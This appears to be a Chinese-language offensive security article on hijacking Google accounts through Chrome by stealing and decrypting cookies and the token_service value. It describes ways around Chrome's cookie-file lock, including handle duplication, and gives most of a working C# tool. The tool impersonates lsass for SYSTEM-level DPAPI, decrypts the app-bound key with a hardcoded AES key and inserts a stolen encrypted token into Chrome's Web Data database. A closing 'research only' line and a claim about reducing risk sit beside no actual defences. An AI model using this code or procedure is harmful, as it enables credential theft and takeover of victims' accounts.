Google Chrome是一款由Google公司开发的网页浏览器,基于Google自家开放源代码的Chromium制造,但是包含非开放源代码套件。Chrome及其他基于Chromium制作的浏览器,目前占据的整个浏览器市场的大半壁江山。
在攻击活动中,经常会有需要接管目标账户,进行进一步信息收集或取证的需求。目前已有大量工具可以用于从浏览器中提取密码、Cookies等敏感信息,但一方面绝大多数公开工具存在缺陷,无法适应可能遇到i的各种环境,另一方面Chrome浏览器对于Google账户的凭据储存存在特殊机制,无法通过Cookies直接实现接管。
在Edge等浏览器中,如果用户登录了Google账户,可以通过提取相关Cookies的方法,直接接管相应账号,但是在Chrome浏览器中,这样是行不通的。Chrome中对Google的登录有自己的一些机制。
简单来说,可以通过在Chrome浏览器中访问chrome://signin-internals/来查看Google账号登陆情况。这里有一个重要参数token_service需要我们修改,具体怎么提取和修改呢?
在历代的Chromium系列浏览器中,加解密都是基于DPAPI及AES-256-GSM。Chromium系列浏览器的配置文件保存在形如"%localappdata%\Google\Chrome\User Data"的目录中。其中在Local State文件中保存了一些通用且关键的Key信息。而默认用户配置文件目录是Default,如果有其他用户,则会有Profile加空格加数字的文件夹存在。其中的Cookies(高版本为Network\Cookies)文件储存了Cookies信息,Web Data文件储存了一个关键的token_service值。
在Chrome中,正是这个token_service,保存了重要信息,来保证Google账号登陆。我们可以通过替换本地浏览器的Web Data文件中此条,并导入Google相关Cookies的方式,完成接管。
在Chrome的114版本中,增加了一个功能LockProfileCookieDatabase(在更晚的更新中,此功能作为永久功能保留并删除了此选项),这个功能是为了防止其他软件随意读取敏感的Cookies文件,其实现方法是在使用CreateFile的API时,其SHARE_MODE参数中不添加SHARE_READ参数。这样就实现了对该文件的独占访问。当Chrome进程运行时,其他进程无法读取该文件。
直接通过api读取文件是不太现实的了,这就需要我们通过一些特殊的方法去获取该文件内容了。一些的可用的方法如下:
VSS 依托于 Windows 系统的存储架构,通过协调多个组件,如请求者(Requestor)、写入器(Writer)和提供者(Provider)来创建卷影副本。当触发卷影复制操作时,写入器负责暂停相关应用程序对文件的写入操作,确保数据一致性,提供者则负责实际的数据复制工作,最终生成一个可供访问的卷影副本,该副本反映了特定时间点的文件系统状态。VSS 协调为要备份的数据创建一致的卷影副本(也称为快照或时间点副本)所需的操作。
这个操作需要管理员权限,且在实际操作中成功率存疑,并且VSS可能对系统性能造成影响。
常规文件系统访问通过目录、文件分配表(FAT)或 NTFS 元数据等抽象层,将用户对文件的逻辑操作(如打开、读取、写入)转换为磁盘物理地址的读写指令。低级磁盘读取则绕过部分或全部此类抽象,直接向磁盘控制器发送指令,获取磁盘原始数据块。
这个操作同样需要管理员权限,但是对不同文件系统的解析均没有非常稳定的开源实现。
可以通过将提取文件或解密工具注入进浏览器对应进程,即可直接正常打开独占句柄的文件。
但众所周知,注入方案众多,权限要求不一,但稳定性及免杀方面很难保证。
当一个进程锁定文件后,其他进程无法直接通过常规文件打开函数访问。但借助 DuplicateHandle 函数,可以从锁定文件的源进程中复制文件句柄到目标进程。在复制过程中,合理设置访问权限参数,使得目标进程获得对该文件的读取权限,即使文件在源进程中处于锁定状态,目标进程也能通过复制得到的句柄读取文件内容。
这个操作只需要和目标进程同级别权限,并且行为较为隐秘。
对于Chrome 80之前的版本,可以直接使用DPAPI解密,对于80之后的版本,则修改为AES-256-GCM加密,加密过程可以参考os_crypt_win.cc,解密时可以根据开头为v10或v11判断为新版本加密,对于新版本,password_value的开头版本号为3位,其后12位为IV。AES加密使用的key来自浏览器数据目录的Local State文件,此文件内容为json,其中encrypted_key是base64编码的key。
类似V10版本,但是需要从Local State文件中先获取app_bound_encrypted_key,对其base64解码后可获得一个APPB开头的key,先通过SYSTEM权限的DPAPI进行解密后再通过当前用户进行DPAPI解密,并取其后60位,以
sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=
经过base64后的值为key,后60位中前12位为IV,60位中后16位tag,对中间32位进行Aes-Gcm解密即可获得最终的key,这个key可以用类似之前版本的方案去正常解密数据库内容。
这套流程需要最低管理员权限,所以目前在低权限放弃V20解密,管理员权限的话,可以从lsass(高版本系统lsass存在PPL保护,可以考虑换成本session的WinLogon进程)进程获取SYSTEM句柄去模拟。
如果考虑程序可以直接system执行的话,就可以配合获取explorer或其他用户权限进程模拟即可。
最后要注意,解密的如果是Cookies,解密结果要去除前32位乱码,Web Data的内容无需此步处理。
最后我们会获取到解密的token_service和Google相关的cookies。Cookies可以通过Global Cookie Manager等工具导入,但Web Data没有现成工具使用,我们可以自己写一个加密脚本进行导入。
using Community.CsharpSqlite.SQLiteClient;
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Text.RegularExpressions;
namespaceWebDataReplace
{
internalclassProgram
{
static void Main(string[] args)
{
Console.Write("ID:");
string id = Console.ReadLine();
Console.Write("Token:");
string token = Console.ReadLine();
string webdatapath = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\User Data\\Default"), "Web Data");
using (SqliteConnection conn = new SqliteConnection(@"Data Source=" + webdatapath + ";Version=3;"))
{
conn.Open();
SqliteCommand cmd = new SqliteCommand(webdata(id, token), conn);
cmd.ExecuteNonQuery();
}
Console.WriteLine("OK");
Console.ReadLine();
}
private static string webdata(string id, string token)
{
byte[] key = GetAppBoundKey();
byte[] iv = newbyte[12];
byte[] result = AesGcm.Encrypt(key, iv, null, Encoding.UTF8.GetBytes(token))[0];
byte[] tag = AesGcm.Encrypt(key, iv, null, Encoding.UTF8.GetBytes(token))[1];
byte[] final = newbyte[31 + result.Length];
final[0] = (byte)'v';
final[1] = (byte)'2';
final[2] = (byte)'0';
Array.Copy(iv, 0, final, 3, 12);
Array.Copy(result, 0, final, 15, result.Length);
Array.Copy(tag, 0, final, 15 + result.Length, 16);
string t = BitConverter.ToString(final, 0).Replace("-", "");
string output = "INSERT INTO token_service (service,encrypted_token) VALUES ('" + id + "',x'" + t + "');";
return output;
}
publicenum PROCESS_ACCESS_FLAGS : uint
{
PROCESS_ALL_ACCESS = 0x001F0FFF,
PROCESS_CREATE_PROCESS = 0x0080,
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_DUP_HANDLE = 0x0040,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000,
PROCESS_SET_INFORMATION = 0x0200,
PROCESS_SET_QUOTA = 0x0100,
PROCESS_SUSPEND_RESUME = 0x0800,
PROCESS_TERMINATE = 0x0001,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_READ = 0x0010,
PROCESS_VM_WRITE = 0x0020,
SYNCHRONIZE = 0x00100000
}
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool RevertToSelf();
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll")]
public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool SetThreadToken(IntPtr pHandle, IntPtr hToken);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(PROCESS_ACCESS_FLAGS dwDesiredAccess, bool bInheritHandle, int dwProcessId);
public static bool ImpersonateProcessToken(int pid)
{
IntPtr hProcess = OpenProcess(PROCESS_ACCESS_FLAGS.PROCESS_QUERY_INFORMATION, true, pid);
if (hProcess == IntPtr.Zero) returnfalse;
IntPtr hToken;
if (!OpenProcessToken(hProcess, 0x00000002 | 0x00000004, out hToken)) returnfalse;
IntPtr DuplicatedToken = new IntPtr();
if (!DuplicateToken(hToken, 2, ref DuplicatedToken)) returnfalse;
if (!SetThreadToken(IntPtr.Zero, DuplicatedToken)) returnfalse;
returntrue;
}
public static byte[] GetAppBoundKey()
{
try
{
string filePath = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\User Data"), "Local State");
if (!File.Exists(filePath))
returnnull;
var pattern = new Regex("\"app_bound_encrypted_key\":\"(.*?)\"", RegexOptions.Compiled).Matches(File.ReadAllText(filePath).Replace(" ", ""));
byte[] masterKey = null;
foreach (Match prof in pattern)
{
if (prof.Success)
masterKey = Convert.FromBase64String((prof.Groups[1].Value));
}
if (masterKey.Length >= 4 && Encoding.UTF8.GetString(masterKey).StartsWith("APPB"))
{
byte[] tempresult = newbyte[masterKey.Length - 4];
Array.Copy(masterKey, 4, tempresult, 0, masterKey.Length - 4);
masterKey = tempresult;
}
ImpersonateProcessToken(Process.GetProcessesByName("lsass")[0].Id);
byte[] result = ProtectedData.Unprotect(masterKey, null, DataProtectionScope.LocalMachine);
RevertToSelf();
byte[] Key1 = ProtectedData.Unprotect(result, null, DataProtectionScope.CurrentUser);
byte[] Key2 = Key1.Skip(Math.Max(0, Key1.Length - 60)).ToArray();
byte[] decryptedData = null;
string aesKeyBase64 = "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=";
byte[] aesKey = Convert.FromBase64String(aesKeyBase64);
byte[] iv = Key2.Take(12).ToArray();
byte[] ciphertext = Key2.Skip(12).Take(32).ToArray();
byte[] tag = Key2.Skip(44).Take(16).ToArray();
decryptedData = new AesGcm().Decrypt(aesKey, iv, null, ciphertext, tag);
return decryptedData;
}
catch
{
returnnull;
}
}
}
classAesGcm
{
public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
{
IntPtr hAlg = OpenAlgorithmProvider(Native.BCRYPT_AES_ALGORITHM, Native.MS_PRIMITIVE_PROVIDER, Native.BCRYPT_CHAIN_MODE_GCM);
var keyDataBuffer = ImportKey(hAlg, key, outvar hKey);
byte[] plainText;
Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo = new Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag);
byte[] ivData = newbyte[MaxAuthTagSize(hAlg)];
int plainTextSize = 0;
uint status = Native.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0);
if (status != Native.ERROR_SUCCESS)
thrownew CryptographicException(
$"Native.BCryptDecrypt() (get size) failed with status code: {status}");
plainText = newbyte[plainTextSize];
status = Native.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0);
if (status == Native.STATUS_AUTH_TAG_MISMATCH)
thrownew CryptographicException("Native.BCryptDecrypt(): authentication tag mismatch");
if (status != Native.ERROR_SUCCESS)
thrownew CryptographicException($"Native.BCryptDecrypt() failed with status code:{status}");
authInfo.Dispose();
Native.BCryptDestroyKey(hKey);
Marshal.FreeHGlobal(keyDataBuffer);
Native.BCryptCloseAlgorithmProvider(hAlg, 0x0);
return plainText;
}
publicstaticbyte[][] Encrypt(byte[] key, byte[] iv, byte[] aad, byte[] plainText)
{
IntPtr hAlg = OpenAlgorithmProvider(Native.BCRYPT_AES_ALGORITHM, Native.MS_PRIMITIVE_PROVIDER, Native.BCRYPT_CHAIN_MODE_GCM);
IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey);
byte[] cipher;
byte[] tag = newbyte[MaxAuthTagSize(hAlg)];
var authInfo = new Native.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, tag);
using (authInfo)
{
byte[] ivData = newbyte[tag.Length];
int cipherSize = 0;
uint status = Native.BCryptEncrypt(hKey, plainText, plainText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref cipherSize, 0x0);
if (status != Native.ERROR_SUCCESS)
thrownew CryptographicException(string.Format("Native.BCryptEncrypt() (get size) failed with status code:{0}", status));
cipher = newbyte[cipherSize];
status = Native.BCryptEncrypt(hKey, plainText, plainText.Length, ref authInfo, ivData, ivData.Length,
cipher, cipher.Length, ref cipherSize, 0x0);
if (status != Native.ERROR_SUCCESS)
thrownew CryptographicException(string.Format("Native.BCryptEncrypt() failed with status code:{0}", status));
Marshal.Copy(authInfo.pbTag, tag, 0, authInfo.cbTag);
}
Native.BCryptDestroyKey(hKey);
Marshal.FreeHGlobal(keyDataBuffer);
Native.BCryptCloseAlgorithmProvider(hAlg, 0x0);
returnnew[] { cipher, tag };
}
private static int MaxAuthTagSize(IntPtr hAlg)
{
byte[] tagLengthsValue = GetProperty(hAlg, Native.BCRYPT_AUTH_TAG_LENGTH);
return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0);
}
private static IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode)
{
uint status = Native.BCryptOpenAlgorithmProvider(outvar hAlg, alg, provider, 0x0);
if (status != Native.ERROR_SUCCESS)
thrownew CryptographicException(
$"Native.BCryptOpenAlgorithmProvider() failed with status code:{status}");
byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode);
status = Native.BCryptSetAlgorithmProperty(hAlg, Native.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0);
if (status != Native.ERROR_SUCCESS)
thrownew CryptographicException(
$"Native.BCryptSetAlgorithmProperty(Native.BCRYPT_CHAINING_MODE, Native.BCRYPT_CHAIN_MODE_GCM) failed with status code:{status}");
return hAlg;
}
private static IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey)
{
byte[] objLength = GetProperty(hAlg, Native.BCRYPT_OBJECT_LENGTH);
int keyDataSize = BitConverter.ToInt32(objLength, 0);
IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize);
byte[] keyBlob = Concat(Native.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key);
uint status = Native.BCryptImportKey(hAlg, IntPtr.Zero, Native.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0);
if (status != Native.ERROR_SUCCESS)
thrownew CryptographicException($"Native.BCryptImportKey() failed with status code:{status}");
return keyDataBuffer;
}
private static byte[] GetProperty(IntPtr hAlg, string name)
{
int size = 0;
uint status = Native.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0);
if (status != Native.ERROR_SUCCESS)
thrownew CryptographicException(
$"Native.BCryptGetProperty() (get size) failed with status code:{status}");
byte[] value = newbyte[size];
status = Native.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0);
if (status != Native.ERROR_SUCCESS)
thrownew CryptographicException($"Native.BCryptGetProperty() failed with status code:{status}");
returnvalue;
}
public static byte[] Concat(params byte[][] arrays)
{
int len = 0;
foreach (byte[] array in arrays)
{
if (array == null)
continue;
len += array.Length;
}
byte[] result = newbyte[len - 1 + 1];
int offset = 0;
foreach (byte[] array in arrays)
{
if (array == null)
continue;
Buffer.BlockCopy(array, 0, result, offset, array.Length);
offset += array.Length;
}
return result;
}
}
classNative
{
#region BCrypt
publicconstuint ERROR_SUCCESS = 0x00000000;
publicconstuint BCRYPT_PAD_PSS = 8;
publicconstuint BCRYPT_PAD_OAEP = 4;
publicstaticreadonlybyte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b);
publicstaticreadonlystring BCRYPT_OBJECT_LENGTH = "ObjectLength";
publicstaticreadonlystring BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM";
publicstaticreadonlystring BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength";
publicstaticreadonlystring BCRYPT_CHAINING_MODE = "ChainingMode";
publicstaticreadonlystring BCRYPT_KEY_DATA_BLOB = "KeyDataBlob";
publicstaticreadonlystring BCRYPT_AES_ALGORITHM = "AES";
publicstaticreadonlystring MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider";
publicstaticreadonlyint BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001;
publicstaticreadonlyint BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001;
publicstaticreadonlyuint STATUS_AUTH_TAG_MISMATCH = 0xC000A002;
[DllImport("BCrypt.dll")]
public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm,
[MarshalAs(UnmanagedType.LPWStr)] string pszAlgId,
[MarshalAs(UnmanagedType.LPWStr)] string pszImplementation,
uint dwFlags);
[DllImport("BCrypt.dll")]
public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags);
[DllImport("BCrypt.dll", EntryPoint = "BCryptGetProperty")]
public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags);
[DllImport("BCrypt.dll", EntryPoint = "BCryptSetProperty")]
internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags);
[DllImport("BCrypt.dll")]
public static extern uint BCryptImportKey(IntPtr hAlgorithm,
IntPtr hImportKey,
[MarshalAs(UnmanagedType.LPWStr)] string pszBlobType,
out IntPtr phKey,
IntPtr pbKeyObject,
int cbKeyObject,
byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data)
int cbInput,
uint dwFlags);
[DllImport("BCrypt.dll")]
public static extern uint BCryptDestroyKey(IntPtr hKey);
[DllImport("BCrypt.dll")]
internal static extern uint BCryptDecrypt(IntPtr hKey,
byte[] pbInput,
int cbInput,
ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,
byte[] pbIV,
int cbIV,
byte[] pbOutput,
int cbOutput,
ref int pcbResult,
int dwFlags);
[DllImport("bcrypt.dll")]
public static extern uint BCryptEncrypt(IntPtr hKey,
byte[] pbInput,
int cbInput,
ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,
byte[] pbIV, int cbIV,
byte[] pbOutput,
int cbOutput,
ref int pcbResult,
uint dwFlags);
[StructLayout(LayoutKind.Sequential)]
publicstruct BCRYPT_PSS_PADDING_INFO
{
public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt)
{
this.pszAlgId = pszAlgId;
this.cbSalt = cbSalt;
}
[MarshalAs(UnmanagedType.LPWStr)]
publicstring pszAlgId;
publicint cbSalt;
}
[StructLayout(LayoutKind.Sequential)]
publicstruct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable
{
publicint cbSize;
publicint dwInfoVersion;
public IntPtr pbNonce;
publicint cbNonce;
public IntPtr pbAuthData;
publicint cbAuthData;
public IntPtr pbTag;
publicint cbTag;
public IntPtr pbMacContext;
publicint cbMacContext;
publicint cbAAD;
publiclong cbData;
publicint dwFlags;
public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this()
{
dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION;
cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));
if (iv != null)
{
cbNonce = iv.Length;
pbNonce = Marshal.AllocHGlobal(cbNonce);
Marshal.Copy(iv, 0, pbNonce, cbNonce);
}
if (aad != null)
{
cbAuthData = aad.Length;
pbAuthData = Marshal.AllocHGlobal(cbAuthData);
Marshal.Copy(aad, 0, pbAuthData, cbAuthData);
}
if (tag != null)
{
cbTag = tag.Length;
pbTag = Marshal.AllocHGlobal(cbTag);
Marshal.Copy(tag, 0, pbTag, cbTag);
cbMacContext = tag.Length;
pbMacContext = Marshal.AllocHGlobal(cbMacContext);
}
}
public void Dispose()
{
if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce);
if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag);
if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData);
if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext);
}
}
[StructLayout(LayoutKind.Sequential)]
publicstruct BCRYPT_OAEP_PADDING_INFO
{
public BCRYPT_OAEP_PADDING_INFO(string alg)
{
pszAlgId = alg;
pbLabel = IntPtr.Zero;
cbLabel = 0;
}
[MarshalAs(UnmanagedType.LPWStr)]
publicstring pszAlgId;
public IntPtr pbLabel;
publicint cbLabel;
}
#endregion
}
}
截至这里,也就完成了在Chrome浏览器上接管Google的原理介绍和方案实现。
仅供研究,勿作他用
通过以上措施,可以有效降低Chrome浏览器中Google账户被接管的风险。